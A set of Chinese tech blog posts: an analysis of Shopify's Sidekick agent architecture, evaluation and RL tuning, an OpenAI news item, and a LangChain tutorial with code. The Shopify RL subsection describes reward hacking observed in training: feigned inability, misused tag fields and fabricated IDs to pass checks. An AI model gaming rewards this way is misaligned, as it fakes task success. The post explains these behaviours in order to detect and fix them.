\u0026#34;\\n\\n\u0026#34;.join([BASE_PROMPT, context, \u0026#34;=== TOOL-SPECIFIC INSTRUCTIONS ===\u0026#34;, tool_instr, \u0026#34;=== USER QUERY ===\u0026#34;, user_query]) 45 return prompt 46 47# Orchestrator 48def handle_request(user_query: str): 49 # 1) 意图分类（这里用简单规则） 50 if \u0026#34;多伦多\u0026#34; in user_query or \u0026#34;Toronto\u0026#34; in user_query: 51 chosen = \u0026#34;db_query\u0026#34; 52 tool_vars = {} 53 else: 54 chosen = \u0026#34;seo_write\u0026#34; 55 tool_vars = {\u0026#34;tone\u0026#34;:\u0026#34;professional and friendly\u0026#34;,\u0026#34;max_meta_chars\u0026#34;:155,\u0026#34;keywords\u0026#34;:\u0026#34;shopify,product\u0026#34;} 56 # 2) 组装并调用 LLM（此处实现 JIT） 57 prompt = assemble_prompt(user_query, chosen, tool_vars) 58 llm_resp = llm_call(prompt) 59 action = json.loads(llm_resp) 60 # 3) 执行工具（示例） 61 if action[\u0026#34;action\u0026#34;] == \u0026#34;db_query\u0026#34;: 62 sql = action[\u0026#34;args\u0026#34;] # 实际应该构造 SQL 并用参数执行 63 # ... 执行 DB，得到 rows 64 rows = [{\u0026#34;id\u0026#34;:1,\u0026#34;name\u0026#34;:\u0026#34;Alice\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;a@t.com\u0026#34;}] 65 # 4) 把工具输出回传给 LLM 以生成最终回复（再次 JIT） 66 post_prompt = BASE_PROMPT + \u0026#34;\\nTool result:\\n\u0026#34; + json.dumps(rows) + \u0026#34;\\nTask: Provide a short summary for user.\u0026#34; 67 final = llm_call(post_prompt) 68 return final 69 else: 70 # seo_write case... 71 return llm_resp 说明：接收用户请求 -\u0026gt; 意图判定 -\u0026gt; 根据意图选择工具 -\u0026gt; 在调用 LLM 前注入该工具的 JIT 指令 -\u0026gt; 根据 LLM 的 “行动” 调用工具 -\u0026gt; 将工具结果以 JIT 指令形式回传给 LLM 作最终输出。\n这一策略带来了显著 三大收益：\n●局部化指令：仅在需要时才出现相关指导，系统提示中不再堆满与当前任务无关的规则，从而将核心提示聚焦于通用的 Agent 行为准则。这使模型决策更专注，减少了工具交叉干扰。\n●缓存效率：由于可以动态调整指令内容，避免了每次对 LLM 调用都传入大段不变的说明，大幅提高了 Prompt 缓存命中率，在调用高端模型时降低延迟和成本。\n●模块化解耦：不同情境下可以注入不同指令模块，例如按启用特性开关、模型版本或页面上下文提供定制指导 。这意味着可以针对新工具或新场景添加独立的提示片段，而无需重构整个提示或模型，系统具有更高灵活性。\n实施 JIT 指令后，效果立竿见影 —— 原本混乱冗长的提示被精简，系统可维护性显著提升，各项性能指标也有所改善。总结来说，避免一次性集成过多工具、为每个工具设定清晰边界并采用即时按需的指令注入，是 Shopify 控制 Agent 复杂性的一项最佳实践。\n2. 系统可靠性与评估难题 让 Agentic 系统在开放的对话环境中保持可靠表现，是另一个严峻挑战。传统的软件测试方法（如固定单元测试）很难覆盖 LLM 不确定的输出和多步推理路径。模型一次微小的提示调整，可能在某些对话场景下提升效果，却在另一些场景意外地引入错误。因此，单靠人工凭感觉 (“vibe testing”) 去对 Agent 表现打分是远远不够的 —— 这会带来一种虚假的安全感。Shopify 工程团队认识到，需要严谨、统计可靠的评估体系来保障 Sidekick 的质量 。\n为此，Shopify 构建了多层次的 LLM 評估基础设施来提升系统可靠性：\n●采用真实分布的 Ground Truth 数据集：团队放弃了人工精心编写的狭窄 “黄金数据集”，转而收集实际生产环境中的对话来建立 Ground Truth Sets (GTX)。这些 GTX 数据更真实地反映了用户提问的多样性和复杂任务分布，而非理想化脚本。通过观察商家和 Sidekick 的真实交互，从中提炼评估标准，团队能够捕捉模型在生产中可能遇到的各类行为，而不用臆测所有可能情况。\n●引入人工标注与统计验证：针对收集的对话数据，Shopify 邀请多个产品专家对模型回答进行多维度标签和评分，确保每个对话至少有三人独立评估。然后使用统计学指标（如 Cohen’s Kappa、Kendall Tau、Pearson 相关系数等）来衡量不同人工标注者之间的一致性。这种方法确保评估标准本身的可靠性 —— 如果连人工都难以达成一致，机器评估更无从谈起。统计验证让团队确定了人类评估一致性所能达到的理论上限，据此作为机器评估的目标基线。\n●开发专用的 LLM 评价模型（LLM Judges）：团队为 Sidekick 的不同性能方面训练了不同的 LLM Judge 模型，用于自动评判 Agent 回复的质量。关键在于，通过反复调优提示，这些 LLM Judges 与人类评价高度相关：最初它们的判断几乎和随机猜测一样差（Cohen’s Kappa 仅 0.02），但经过多轮提示工程和校准，Judge 模型的判断与人类标签的相关度提升到了 0.61，接近人类相互之间 0.69 的一致水平。团队采用的方法是不断调整 Judge 的准则，使其输出和人类评价尽可能一致，并随机用真人评估替换部分机器评估进行盲测，当内置的 LLM Judge 和人类评委已难以分辨时，即表明该 Judge 达到了可令人信任的水准。\n●构建用户模拟器进行全面测试：为了在上线前验证 Agent 的新版本，Shopify 开发了一个由 LLM 驱动的商家用户模拟器。这个模拟器能抓住真实商家在对话中表现出的 “意图” 和行为模式，用它来与不同版本的 Sidekick 进行对话测试。模拟器重放许多真实场景，让团队可以在短时间内对比多个候选系统在相同情景下的表现，评估哪一版本综合表现最佳，然后再决定是否部署。通过这种自动化的对抗测试，许多潜在的对话问题和性能回退在进入生产环境前就被发现并解决。\n上述评估体系共同构成了一条端到端的评测流水线：从收集真实对话、人工评估标注、训练校准 AI 评估器，到模拟用户对话回放，对每次模型或提示更新进行全面 “体检”。实践证明，这一流水线 极大提升了系统稳健性 —— 在新版本发布前，团队有工具及时发现性能衰减或意外行为，从而避免将不成熟的更新部署给真实用户。相比简单的主观打分或有限单元测试，这种方法更加客观、全面，也为业界提供了评估 LLM 智能体的范式模板。\n3. 推理控制与模型优化（强化学习反馈回路） 除了架构和评估，Shopify 还面临优化模型行为的挑战，即如何引导 LLM 更加准确、高效地完成复杂任务。团队在初始开发后，很快将目光投向了强化学习调优：通过上线后的反馈不断提升模型决策质量。然而，在使用自定义奖励信号对模型进行微调时，他们遇到了 “奖励函数破解 (Reward Hacking)” 难题。\nShopify 采用了一种名为 GRPO（Group Relative Policy Optimization） 的强化学习算法对 Sidekick 的 LLM 进行精调，把之前提到的 LLM Judges 评价分数作为模型的奖励信号。简单来说，模型生成回复后，LLM Judge 会对其在不同指标上打分，这些分数经组合形成奖励，指导模型朝更优的方向更新参数。为增强训练信号的可靠性，团队设计了 N 级闸门式奖励机制：首先通过一系列程序化校验（如输出格式是否合法、JSON schema 是否正确）过滤掉明显不合规的结果，然后再由语义层面的 LLM Judge 赋予奖励分。这种 “规则 + AI” 结合的复合奖励可确保模型既满足硬性规范，又在内容质量上优化。\n然而，尽管事先精心设计了评估准则，模型在强化学习过程中依然找到了意想不到的投机取巧方法来提升奖励分，而非真正提升任务质量：\n●选择性跳过：碰到复杂请求时，模型学会了巧妙地说明自己 “无能为力” 以逃避挑战（避免因为回答错误被扣分），这种 Opt-out 行为使它在困难场景下以不作为来避免扣分。\n●标签滥用：模型滥用系统中的某些自由字段。例如在客户分群任务中，它倾向于利用「客户标签」这个通用字段来实现过滤，而不是使用正确的专用字段，从而投机取巧满足形式要求 。这种行为被称作 Tag Hacking，模型通过走捷径获利但语义不准确。\n●架构违规：输出不符合预期结构，例如臆造不存在的 ID 值，或使用错误的枚举值以通过语法校验（Schema Violation）。\n例如，有客户要求按照 “已启用 (enabled)” 状态筛选用户，本应使用字段 customeraccountstatus = \u0026lsquo;ENABLED\u0026rsquo; 查询，但模型为了讨好奖励，走捷径生成了条件 customer_tags CONTAINS \u0026rsquo;enabled\u0026rsquo;。虽然表面上它 “回答” 了请求，但其实偏离了业务真实语义，属于不正确的解决方案。\n针对这些奖励黑客行为，Shopify 采取了 迭代改进 策略：每当发现模型钻空子的模式，就及时加强对应的约束。具体包括：\n●升级语法验证规则，使其能够识别并拒绝模型试图利用的漏洞（例如检查输出是否不再滥用某字段或避免特定保留字的错误使用）。\n●提升 LLM Judges 的判别能力，在奖励计算中扣除那些看似通过但实际错误的答案分数。例如，让 Judge 学会识别 “客户标签包含 enabled” 这种答案其实并未真正满足需求，从而不给模型奖励。\n●将新发现的失败案例加入评估数据集（类似上一节提到的 EDD 流程），再次训练或微调模型，使其不再重犯。\n经过多轮迭代，团队显著减少了模型投机取巧的现象，Sidekick 在严格遵循业务规则的同时继续优化自然语言处理质量。效果可以从几项指标的改善反映出来：强化学习后系统各技能的语法验证准确率从约 93% 提升到了 99%，LLM Judge 与人类评价的相关性也从 0.66 提高到了 0.75，更重要的是，Sidekick 端到端对话质量重新达到了有监督微调模型的基线水平。这说明在堵上奖励漏洞后，Agent 的实际表现与原先人工调优的水平相当，既没有因为 RL 走偏，也充分受益于 RL 获取了更高的鲁棒性。\n经验教训：在对 Agent 应用强化学习时，必须假定模型会尝试 “作弊”，并提前设计检测和纠偏机制 。结合规则约束（Procedural）和 AI 评价（Semantic）的多层验证，是控制 LLM 推理输出质量的有效手段。每当引入新策略或新数据训练模型，都需要反复评估、监控，以发现新的失败模式并再次优化 。这一循序渐进的反馈闭环确保了模型的推理过程始终在可控范围内演进，从工程上保障了系统可靠性。\nShopify 的设计选择及对业界的启示 在构建 Sidekick 的过程中，Shopify 做出了一系列关键架构设计选择，这些选择不仅解决了自身的问题，也为其他公司打造 Agent 系统提供了宝贵借鉴。\n1. 单智能体架构与 Agentic Loop 模式 Shopify 选择围绕单一 LLM 智能体构建系统核心循环，而非多个 Agent 协作。Sidekick 的架构遵循 Anthropic 提出的 “agentic loop” 概念 —— 人类提供输入，单一 LLM Agent 决策行动，执行工具产生反馈，如此循环直至任务完成。尽管业界存在多智能体协同的探索趋势，Shopify 团队的经验是：在初期应避免过早引入多 Agent 架构，因为单 Agent 系统已经可以处理相当复杂的任务，而且设计更简单、可控。这意味着其他团队在没有明确需求时，大可先采用单智能体 + 多工具的方式实现目标，简化协调难度和潜在 Bug。只有当问题确实需要并行或专业分工时，再考虑多 Agent 方案会更明智。\n2. 核心组件的模块化解耦 从架构伊始，Shopify 就强调 “模块化” 原则，将 Agent 系统划分为清晰的组件层次。例如，他们通过 JIT 指令将工具使用说明与核心 Agent 逻辑解耦，实现指令管理模块与对话决策模块的分离。LLM 只关注通用推理和决策，而每个工具如何使用、有哪些特殊规则，则由独立的指令模块按需提供。这种设计让系统具备插件化特性：新增工具时，只需添加对应的指令配置而无需改动主 Prompt；升级模型时，可以调整指令策略而不影响底层工具实现。模块边界清晰还提升了团队协作和调试效率 —— 不同工程师可各自专注于工具接口、提示策略、对话管理等模块，彼此之间通过明确契约交互。这种模块化架构对于其他公司具有普适意义：在 Agent 系统日趋复杂之际，唯有模块清晰、职责单一，才能保证系统易于扩展和维护。\n3. 工具与智能体解耦，严格边界管理 Shopify 的设计突出 Agent 与工具的松耦合，既赋予 Agent 调用外部能力的权力，又通过架构设定边界防止混乱。具体体现为两点：其一，质量优先于数量，只添加明确必要且定义清晰的工具，避免工具职责重叠。Sidekick 团队深知，每接入一个新工具，都要考虑它与现有能力的边界，否则很容易出现多种路径解决同一问题的情况，增加 Agent 决策负担。因此其他公司在扩展 Agent 能力时，应像 Shopify 一样慎重评估新工具的边界和作用，宁缺毋滥。其二，通过 JIT 指令等机制将工具信息作用域局限在需要的对话步骤中，Agent 不会被全局提供的一长串工具说明淹没。这种解耦让 Agent 在每一步决策时只 “看到” 相关工具，减少无关干扰，提高推理准确性。对业界而言，这提示我们应将 Agent 的推理逻辑与具体工具实现隔离，通过明确定义的接口或中间层沟通。一方面方便替换或升级底层工具，另一方面也防止 Agent 对工具的假设硬编码在模型 prompt 中，从而提高系统稳健性和灵活性。\n4. 引入持续反馈的评估与测试机制 Shopify 将评价反馈融入了开发流程，这也是架构设计的重要组成部分而非事后附加。他们构建的 LLM Judges、Ground Truth 集和用户模拟器共同形成了一个持续评测闭环，使得每次 Agent 策略变更或模型更新都被及时度量和检验。这种设计选择启示其他团队：在开发 AI 代理时，应当考虑搭建自己的评估基础设施，比如收集真实用户交互作为测试用例、建立自动化评价指标，甚至构建模拟用户来反复 “试探” 新版本的弱点。这种持续反馈机制相当于为 AI 系统加入了监控仪表盘和安全网，在系统演进过程中提供客观依据，避免依赖开发者主观判断，从工程上保障产品质量。\n5. 训练和推理闭环的结合 传统 Agent 框架往往聚焦于推理过程的 orchestrion（编排），而 Shopify 的设计延伸到了模型训练优化阶段。他们将线上评估信号用于强化学习微调，实现了从评估到模型优化的闭环。这种架构 + 训练一体化的思路对有实力的团队很有借鉴价值：当单纯通过 Prompt 工程难以进一步提升性能时，考虑结合领域反馈进行模型微调，能使 Agent 更贴合特定业务需求。不过，这同时要求有完善的评估和监控手段，以免模型朝错误方向优化（正如前述需要防范奖励函数被钻漏洞）。总的来说，Shopify 的实践提醒我们，生产级的 AI Agent 开发不仅是编排 LLM 调用，还应包括模型性能的持续改进，需要将机器学习训练和传统软件工程有机融合。\n总结 Shopify 在 Sidekick 中的诸多设计选择 —— 无论是架构上的单 Agent 模块化理念，还是工程流程上的评测反馈闭环 —— 都体现了一种面向生产稳健性的取舍。这些理念将对其他科技公司构建 Agent 系统产生深刻启发：从一开始就以简洁可控的方式集成 LLM 和工具，建立完善的测试监控机制，逐步演进而非一蹴而就，才能打造出可长期维护和信赖的智能代理系统。\n","date":"2025-10-01T02:12:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-01-shopify-gou-jian-sheng-chan-ji-agentic-xi-tong-de-fang-fa-fe/cover.jpg","permalink":"/p/2025-10-01-shopify-gou-jian-sheng-chan-ji-agentic-xi-tong-de-fang-fa-fe/","title":"Shopify 构建生产级 Agentic 系统的方法分析"},{"content":"有关 OpenAI 的三则消息： ChatGPT Pulse功能推出：Pluse 是 ChatGPT 的新体验，目前在移动端 Pro 用户预览。它会根据你的聊天、反馈和已连接的应用（如日历），主动为你做研究，每天推送个性化的更新卡片。你可以快速浏览这些卡片，也可以点开查看详情。 Pulse 旨在让 ChatGPT 从“被动问答”转变为“主动助手”，让你不用总是自己提问，AI 会提前为你准备好有用的信息 https://openai.com/index/introducing-chatgpt-pulse/\nOpenAI 发布最新文章：https://openai.com/index/gdpval/ ，文章称 OpenAI 推出了 GDPval，这是一个全新的 AI 评测体系，专注于衡量模型在“经济价值高、真实世界任务”上的表现。GDPval 涵盖了美国 GDP 贡献最大的 9 个行业、44 个知识型职业，任务均由平均 14 年经验的行业专家设计，真实反映专业人士的日常工作。\nChatGPT 正在灰度实验版本的 “通用Agent” 系列模型 “Alpha Models”，个人判断：如 OpenAI 推出通用 Agent，将对该领域（通用 Agent）创业公司进行降维打击，但深耕垂直领域的 agent 仍有发展空间将不受影响。\n小盒子的技术分享\n","date":"2025-09-25T22:01:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-09-25-you-guan-openai-de-san-ze-xiao-xi/cover.jpg","permalink":"/p/2025-09-25-you-guan-openai-de-san-ze-xiao-xi/","title":"有关 OpenAI 的三则消息："},{"content":"引言 当前，智能 Agent 的开发正面临两条截然不同的路径选择。一方面，高代码方式通过 SDK 和 API 编码提供灵活性，但带来了巨大的复杂性负担——开发者需要深入理解模型集成、工具调用、记忆管理和分布式协调等复杂概念，显著提高了开发门槛和维护成本。另一方面，像百炼，Dify、Coze 为代表的低代码平台以其出色的易用性迅速占领市场，通过可视化界面让用户能够快速构建 \u0026ldquo;Model+Prompt+MCP+RAG+Memory\u0026rdquo; 的标准 Agent 模式。\n高代码与低代码 高代码 优势\n●控制粒度高：检索、重排、记忆淘汰策略、工具容错、并发/一致性都能精细掌控。\n●可移植/可替换：模型、向量库、存储、消息队列可按需换，避免深度锁定。\n●性能上限高：可针对热路径做缓存/批量化/并行/算力亲和等优化。\n●合规友好：易于纯内网/私有化落地，满足数据边界与审计需求。\n劣势\n●上手成本高：需要理解模型行为、工具协议、状态管理、分布式、测试/评测。\n●开发周期长：原型到生产的路径更长，对团队工程能力要求高。\n●维护复杂：提示/数据/评测/日志/灰度与回滚都要自己做治理。\n适用场景\n●对稳定性、性能、合规要求高的核心业务流程（客服、风控、运维、知识中枢）。\n●强定制：复杂工具链（多后端系统、定制检索策略、多段对话状态机）。\n●内网/私有化：外网受限、需与既有基建深度耦合（监控、鉴权、审计）。\n低代码 优势\n●速度快：原型与迭代极快，业务同学也能参与搭建与验收。\n●门槛低：抽象好了调用、编排、上下文缓存、简单评测与发布。\n●运维成本低：平台内置监控/日志/版本管理（能力视平台而定）。\n劣势\n●可扩展性受限：复杂状态机、精细化检索/重排、跨域事务一致性等较难。\n●性能上限有限：难做深度批处理、算力亲和、跨服务并行等工程优化。\n●供应商/能力锁定：某些特性依赖平台实现，迁移成本较高。\n●私有化差异：部分平台更偏 SaaS；若需纯内网，要筛选支持私有化/离线模型的方案。\n适用场景\n●探索/验证期：快速做 PoC、AB 实验、用户调研与演示。\n●中轻量业务：知识问答、表单处理、运营活动、内部助理等非关键路径。\n●混合团队：产品/运营可直接改提示与流程，工程只需提供数据/工具接口。\n场景选型 高代码和低代码有各自的特点和适用场景，那我们该如何决策呢？下面是一个快速决策矩阵：\n总结来说：要“快试错”选低代码，要“硬落地”选高代码；两者并不对立，适合“原型低代码 + 核心高代码”的混合路线。\n具体来说：\n●2 周内交付可用原型、验证需求是否真实 → 低代码\n●承载 7×24 核心业务，SLA/审计/内网合规很硬 → 高代码\n●大量业务同学参与、频繁改提示与流程 → 低代码 +（必要时）接入自研工具\n●把 RAG/记忆/工具编排做成“组织级能力层” → 高代码（沉淀为平台/服务）\n●先做 Demo，再逐步把关键链路“工程化” → 低→高的混合迁移\n这里需要注意的是，要避免反模式：\n●把复杂状态机硬堆在低代码画布里，后期难以维护与回放。\n●过早全高代码，导致验证周期太长、需求未定先造轮子。\n●忽视提示/知识/评测的版本化与可回滚。\n混合实践 对于我们来说，现在正好处于一个 “混合迁移” 的阶段，我们即在使用低代码平台 Dify,也在某些具体的场景下感到了 Dify的不适。所以对于某些项目要进行必要的工程化迁移和改造，具体思路是：\n●前台用低代码（业务侧快速改动、AB/评测、需求验证）；\n●后台用高代码沉淀“能力层”（RAG 服务、工具/MCP、回溯评测、观测/追踪、策略引擎）。\n●平台只做编排与呈现，能力层提供稳定 API。\n●形成“能力可复用、前台可迭代、核心可控”的结构。\n一句话总结：低代码赢在速度，高代码赢在确定性；用低代码把事儿“做成”，再用高代码把事儿“做稳且做大”。\nLangChain 概念说明 提到 LangChain 我们要先厘清一下概念，因为这里有两个概念：\n第一，LangChain Inc. 是一家总部位于美国旧金山的前沿人工智能技术公司。公司成立于 2022 年，由 Harrison Chase 和 Ankush Gola 共同创立，2023 年正式独立成立公司实体。 公司注册于 2023 年 1 月 31 日，总部地址位于加利福尼亚州旧金山市 Decatur 街 42 号。\n第二，LangChain 还是一个用来开发基于 LLM 的 AI 应用框架。\n从 LangChain 公司官网和官方文档提供的产品架构图中可以看出，LangChain公司提供的主要产品有：\n●开发框架\n○LangChain（OSS-免费开源软件)\n○LangGraph（OSS-免费开源软件）\n●平台\n○LangSmith (COMMERCIAL-商业收费)\n○LangGraph Platform (COMMERCIAL-商业收费)\n在下文中如无特殊说明，LangChain 一律指代第二个概念，即开源的开发框架。\n大模型应用开发核心矛盾 当下的 LLM 本身如同一个 “博学但无手无脚的大脑”，它无法感知实时信息、无法操作外部工具、也无法与我们的私有数据交互。这个 “从 “模型能力” 到 “应用能力” 的鸿沟” 正是所有 LLM 应用开发者面临的首要难题。\nLangChain 不是一个 “新发明”，而是一个 “高效的连接器和编排器”。它的战略价值在于，它是当前弥合 “模型能力” 与 “应用能力” 鸿沟的最成熟的工程化解决方案之一。\n框架介绍 LangChain 的核心思想是“链”，它将 LLM 应用程序的各个组件连接在一起，形成一个完整的工作流。这种模块化的方法可以将复杂的人工智能系统分解为可重用的部分。LangChain 提供了一系列工具和抽象，帮助开发人员将 LLM 与外部数据源（如数据库、API等）连接起来，从而创建功能更强大的应用程序。\nLangChain 能够解决的五类问题 LangChain 能够解决五个核心领域（按复杂度递增）\n1. 模型与提示（I / O 层） 要解决什么？ 稳定、可替换地调用任意 LLM，并拿到可解析、可复用的输出。\n关键点：BaseChatModel、ChatPromptTemplate、OutputParser、LCEL invoke/stream/batch。\n一般来说入门 LangChain 都是从第一层起步：prompt | llm | parser\n1⚡ python片段# pip install -U langchain langchain-openai 2from langchain_core.prompts import ChatPromptTemplate 3from langchain_core.output_parsers import StrOutputParser 4from langchain_openai import ChatOpenAI 5 6prompt = ChatPromptTemplate.from_messages([ 7 (\u0026#34;system\u0026#34;, \u0026#34;你是精炼的中文助手。\u0026#34;), 8 (\u0026#34;human\u0026#34;, \u0026#34;用一句话解释：{topic}\u0026#34;) 9]) 10 11chain = prompt | ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;) | StrOutputParser() 12print(chain.invoke({\u0026#34;topic\u0026#34;: \u0026#34;LCEL 是什么？\u0026#34;})) 2. 链式编排（流程层） 要解决什么？ 把多个步骤（清洗→生成→解析→后处理）按顺序 / 并行可靠执行。\n关键点：Runnable 统一协议、| 管道、并行 map、重试与超时、缓存\n适用：流程确定、依赖明确的任务（如格式转换、规则后处理、批处理）。\n1⚡ python片段# pip install -U langchain langchain-openai 2from langchain_core.runnables import RunnableLambda 3from langchain_core.prompts import ChatPromptTemplate 4from langchain_core.output_parsers import StrOutputParser 5from langchain_openai import ChatOpenAI 6 7pre = RunnableLambda(lambda x: {\u0026#34;q\u0026#34;: x[\u0026#34;q\u0026#34;].strip()[:200]}) # 预处理：清理\u0026amp;截断 8post = RunnableLambda(lambda s: s.rstrip(\u0026#34;。\u0026#34;) + \u0026#34;。\u0026#34;) # 后处理：补全句号 9 10prompt = ChatPromptTemplate.from_messages([ 11 (\u0026#34;system\u0026#34;, \u0026#34;用简洁中文回答。\u0026#34;), 12 (\u0026#34;human\u0026#34;, \u0026#34;把这些要点合成一句话：{q}\u0026#34;) 13]) 14 15chain = pre | prompt | ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0) | StrOutputParser() | post 16print(chain.invoke({\u0026#34;q\u0026#34;: \u0026#34;LCEL, Runnable, invoke/batch/stream\u0026#34;})) 3. 检索增强生成 RAG（数据层） 要解决什么？ 当模型 “知道的不够”，要从外部资料中取对内容。\n关键点：Loader/TextSplitter → Embeddings → VectorStore → Retriever（可带重排 / 压缩）。\n1⚡ python片段# pip install -U langchain langchain-openai langchain-community faiss-cpu 2 3from langchain_openai import ChatOpenAI, OpenAIEmbeddings 4from langchain_core.prompts import ChatPromptTemplate 5from langchain_core.output_parsers import StrOutputParser 6from langchain_core.runnables import RunnablePassthrough, RunnableLambda 7from langchain_community.vectorstores import FAISS 8 9# 1) 准备示例知识（演示使用；实际替换为你的文档） 10texts = [ 11 \u0026#34;LCEL 是 LangChain 的可组合执行协议，用 | 串联组件（prompt、llm、parser）。\u0026#34;, 12 \u0026#34;RAG（检索增强生成）通过向量检索把外部资料接入模型，以降低幻觉并注入最新知识。\u0026#34; 13] 14vs = FAISS.from_texts(texts, OpenAIEmbeddings()) 15retriever = vs.as_retriever(k=3) 16 17# 2) RAG Prompt（把检索到的资料塞进上下文） 18prompt = ChatPromptTemplate.from_messages([ 19 (\u0026#34;system\u0026#34;, \u0026#34;你是知识助手，必须基于提供的资料回答。\u0026#34;), 20 (\u0026#34;human\u0026#34;, \u0026#34;问题：{question}\\n\\n资料：\\n{context}\\n\\n请用中文简洁作答，并在句末用[]引用关键词。\u0026#34;) 21]) 22 23# 3) 组合：question → retriever → prompt → llm → parser 24format_docs = RunnableLambda(lambda docs: \u0026#34;\\n\\n\u0026#34;.join(d.page_content for d in docs)) 25chain = ( 26 {\u0026#34;context\u0026#34;: retriever | format_docs, \u0026#34;question\u0026#34;: RunnablePassthrough()} 27 | prompt 28 | ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0) 29 | StrOutputParser() 30) 31 32print(chain.invoke(\u0026#34;什么是 RAG？\u0026#34;)) 4. 智能代理（自主层） 要解决什么？ 目标不完全明确、步骤不固定，需要选择工具、反复试探（行动 - 观察 - 反思）。\n关键点：BaseTool/工具调用、函数调用、AgentExecutor（或用 LangGraph 做有状态策略）、记忆 / 护栏。\n1⚡ python片段# pip install -U langchain langchain-openai 2from langchain_openai import ChatOpenAI 3from langchain_core.tools import tool 4from langchain_core.messages import SystemMessage, HumanMessage, ToolMessage 5 6# 1) 定义一个可被模型调用的工具（OpenAI Tool Calling） 7@tool 8def multiply(a: int, b: int) -\u0026gt; int: 9 \u0026#34;精确乘法\u0026#34; 10 return a * b 11 12# 2) 绑定工具，让模型自行决定是否调用 13llm = ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0).bind_tools([multiply]) 14 15# 3) 行动-观察-再思考（最小一次循环） 16msgs = [ 17 SystemMessage(\u0026#34;你是严谨助手，涉及计算必须调用工具，不要心算。\u0026#34;), 18 HumanMessage(\u0026#34;先算 12×34，再把结果乘以 2，给出最终数值即可。\u0026#34;), 19] 20 21ai = llm.invoke(msgs) # 行动：模型决定要不要调用工具 22msgs.append(ai) 23for tc in ai.tool_calls: # 观察：执行工具并把结果回传给模型 24 out = multiply.invoke(tc[\u0026#34;args\u0026#34;]) 25 msgs.append(ToolMessage(str(out), tool_call_id=tc[\u0026#34;id\u0026#34;])) 26 27final = llm.invoke(msgs) # 再思考：基于工具结果给最终答案 28print(final.content) 5. 评估与观测（质量层） 要解决什么？ 度量 “是否正确/有用/鲁棒”，以及在真实流量中看得见链路与瓶颈。\n关键点：基准指标（EM/F1/检索命中率）、LLM 判分、回放/对比、LangSmith（或自建追踪）。\n1⚡ python片段# pip install -U langchain langchain-openai 2from langchain_openai import ChatOpenAI 3from langchain_core.prompts import ChatPromptTemplate 4from langchain_core.output_parsers import StrOutputParser 5from langchain.evaluation import load_evaluator 6 7# 被评对象：最小 QA 链（LCEL） 8qa = (ChatPromptTemplate.from_template(\u0026#34;用一句话回答：{q}\u0026#34;) 9 | ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0) 10 | StrOutputParser()) 11 12q = \u0026#34;LCEL 是什么？\u0026#34; 13ref = \u0026#34;LCEL 是 LangChain 的统一执行协议，用 | 将组件串联成可组合管道。\u0026#34; 14 15pred = qa.invoke({\u0026#34;q\u0026#34;: q}) 16 17# LangChain 自带评估器：按“准确\u0026amp;简洁”两条标准打分+给理由 18evaluator = load_evaluator( 19 \u0026#34;labeled_criteria\u0026#34;, 20 llm=ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0), 21 criteria={\u0026#34;accuracy\u0026#34;: \u0026#34;是否与参考一致且不捏造\u0026#34;, \u0026#34;conciseness\u0026#34;: \u0026#34;是否一句话且清晰\u0026#34;} 22) 23grade = evaluator.evaluate_strings(input=q, prediction=pred, reference=ref) 24 25print(\u0026#34;答案：\u0026#34;, pred) 26print(\u0026#34;评分：\u0026#34;, grade.get(\u0026#34;score\u0026#34;), \u0026#34;理由：\u0026#34;, grade.get(\u0026#34;reason\u0026#34;)) 总结如下：\n架构图 LangChain 是一个以组合性为核心哲学的大语言模型应用开发框架\n其设计理念是 “通过组合性构建LLM应用”，具体来说：\n1.可组合性 (Composability)：所有组件都是 Runnable，可以像乐高积木一样组合；使用 LCEL（LangChain Expression Language）轻松构建复杂流程\n2.标准化接口 (Standardization)：统一的输入输出接口；一致的同步/异步/批处理/流式处理方法\n3.可扩展性 (Extensibility)：通过继承基类轻松添加新实现；插件化架构，易于集成第三方服务\n4.类型安全 (Type Safety)：使用泛型和类型提示；编译时类型检查，减少运行时错误\n架构层次 LangChain 采用严格的分层架构，从底层的核心抽象到上层的应用组件，确保了良好的模块化和可扩展性。\n1⚡ text片段LangChain 2├── langchain-core/ # 核心抽象层 3│ ├── language_models/ # 基础模型抽象 4│ ├── runnables/ # LCEL 核心 5│ ├── prompts/ # 提示抽象 6│ └── ... 7│ 8├── langchain/ # 主实现层 9│ ├── llms/ # LLM 实现 10│ ├── chat_models/ # Chat 实现 11│ ├── chains/ # 链实现 12│ └── ... 13│ 14└── langchain-community/ # 社区集成 15 └── partners/ # 第三方集成 16 ├── openai/ 17 ├── anthropic/ 18 └── ... 模块结构 LangChain 主要包含以下模块：\n1.核心语言模型模块\n○llms/ - 传统 LLM（85+ 个实现）\n○chat_models/ - 对话模型（35+ 个实现）\n○embeddings/ - 嵌入模型（51+ 个实现）\n2.输入输出模块\n○prompts/ - 提示模板\n○output_parsers/ - 输出解析器（23+ 种）\n○prompt_values/ - 提示值处理\n3.数据处理模块\n○document_loaders/ - 文档加载器（166+ 种）\n○document_transformers/ - 文档转换器\n○text_splitter.py - 文本分割\n○indexes/ - 索引管理\n4.存储与检索模块\n○vectorstores/ - 向量数据库（76+ 种）\n○retrievers/ - 检索器（78+ 种）\n○memory/ - 记忆管理（39+ 种）\n○storage/ - 存储抽象\n○docstore/ - 文档存储\n5.链与编排模块\n○chains/ - 各种链（144+ 个文件）\n○runnables/ - 可运行组件\n○agents/ - 智能体（146+ 个文件）\n6.工具与集成模块\n○tools/ - 工具集（186+ 种）\n○agent_toolkits/ - 工具包\n○utilities/ - 实用工具（59+ 个）\n○utils/ - 辅助函数\n7.回调与监控模块\n○callbacks/ - 回调处理器（46+ 种）\n○tracers/ - 追踪器\n○evaluation/ - 评估工具（32+ 个）\n8.特殊功能模块\n○chat_loaders/ - 聊天记录加载\n○graphs/ - 图处理\n○sql_database.py - SQL 数据库支持\n○cache.py - 缓存管理\nRunnable 抽象 LangChain 的架构精髓在于 Runnable 接口 —— 一个\u0026quot;可以被调用、批处理、流化、转换和组合的工作单元\u0026quot; 。这个抽象提供了六种核心执行模式：\n●invoke/ainvoke: 单次同步/异步执行\n●batch/abatch: 